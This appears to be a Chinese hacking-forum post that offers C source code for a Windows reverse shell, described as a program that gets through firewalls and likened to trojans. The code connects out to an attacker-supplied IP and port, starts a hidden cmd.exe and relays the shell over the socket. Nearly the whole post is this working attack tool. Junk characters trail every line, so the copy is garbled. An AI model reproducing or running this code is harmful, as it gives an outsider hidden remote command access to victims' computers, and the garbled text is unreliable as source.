社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5912阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fS1N(RZ 1  
6M"J3\ x  
/* ============================== asQ pVP  
Rebound port in Windows NT D<L]'  
By wind,2006/7 45/f}kvy  
===============================*/ o%M~Q<wf  
#include ^T(l3r  
#include !ye%A&  
duXv [1  
#pragma comment(lib,"wsock32.lib") W$:;MY>0f  
^._)HM  
void OutputShell(); |A'8'z&q  
SOCKET sClient; XLqS{r~?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BxG0vJN|  
Q`5jEtu#,  
void main(int argc,char **argv) >5/dmHPc  
{ eK/[jxNO  
WSADATA stWsaData; a=p3oh?%-O  
int nRet; AJt0l|F  
SOCKADDR_IN stSaiClient,stSaiServer; kL*Q})  
HY5g>wv@  
if(argc != 3) [NeOd77y  
{ 0e q>  
printf("Useage:\n\rRebound DestIP DestPort\n"); {* >$aI  
return; (mt,:hX  
} 1kb?y4xeJ  
 B*Hp  
WSAStartup(MAKEWORD(2,2),&stWsaData); oF]0o`U&a  
<G2;nvRr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;o%r{:lng  
d!G%n *  
stSaiClient.sin_family = AF_INET; u6t.$a!5  
stSaiClient.sin_port = htons(0); wF?THkdFo  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a3R#Bg(  
w^G<]S {l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U>:CX XHRt  
{ N=tyaS(YJ  
printf("Bind Socket Failed!\n"); ],qG!,V  
return; NZ7a^xT_)  
} eoTOccb!  
9Hlu%R  
stSaiServer.sin_family = AF_INET; Uk|Xs~@#E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {r[ *}Bv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  PovPO  
`hM ]5;0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h!yF   
{ ^L]+e  
printf("Connect Error!"); r A0[y  
return; 78dmXOZ'_h  
} Zp- Av8  
OutputShell(); xx!o]D-}  
} 1ww|km  
kl3#&>e  
void OutputShell() s) V7$D  
{ k5g\s9n]  
char szBuff[1024]; UupQ* ,dJ  
SECURITY_ATTRIBUTES stSecurityAttributes; <| Xf4.  
OSVERSIONINFO stOsversionInfo; ?P{C=Td2z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "o;l8$)VL  
STARTUPINFO stStartupInfo; I*6L`#j[  
char *szShell; cO)GiWE  
PROCESS_INFORMATION stProcessInformation; F4kU) i  
unsigned long lBytesRead; =Q3Go8b4HJ  
'qQ DM_+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ik7#Og~ 3  
() b0Sh=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N4)& K[  
stSecurityAttributes.lpSecurityDescriptor = 0; lS XhHy  
stSecurityAttributes.bInheritHandle = TRUE; T_v  
7D9R^\K  
G\jr^d\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;bP7|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); I?bL4u$\  
w>/KQ> \"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Lm-}W "7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "pMXTRb  
stStartupInfo.wShowWindow = SW_HIDE; `1M_rG1/+  
stStartupInfo.hStdInput = hReadPipe; Br \/7F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wT*`Od8w  
IGu*#>h  
GetVersionEx(&stOsversionInfo); zx#d _SVi  
Vk0O^o  
switch(stOsversionInfo.dwPlatformId) z-krL:A  
{ ' nf"u  
case 1: i,;Q  
szShell = "command.com"; %4n=qK9T 5  
break; FY#`]124*  
default: 'DntZK  
szShell = "cmd.exe"; ~X`vRSrH  
break; IQ2<Pinv  
} ]r|.\}2Y7  
g&_0)(a\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r'xa' 6&  
->8n.!F}  
send(sClient,szMsg,77,0); kIXLB!L2b^  
while(1) El"XF?OgpP  
{ JhB{aW>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9&rn3hmP  
if(lBytesRead) :*}tkr4&eh  
{ wx<5*8zP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ix1ec^?f  
send(sClient,szBuff,lBytesRead,0); bs_I{bCu?  
} \?g)jY  
else ^+,mxV'8!  
{ eYsO%y\I  
lBytesRead=recv(sClient,szBuff,1024,0); v[ F_r  
if(lBytesRead<=0) break; 'e{e>>03  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6@Eip[e  
} /SN.M6~  
} ^0X86  
n-H0cm  
return; XUW~8P  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八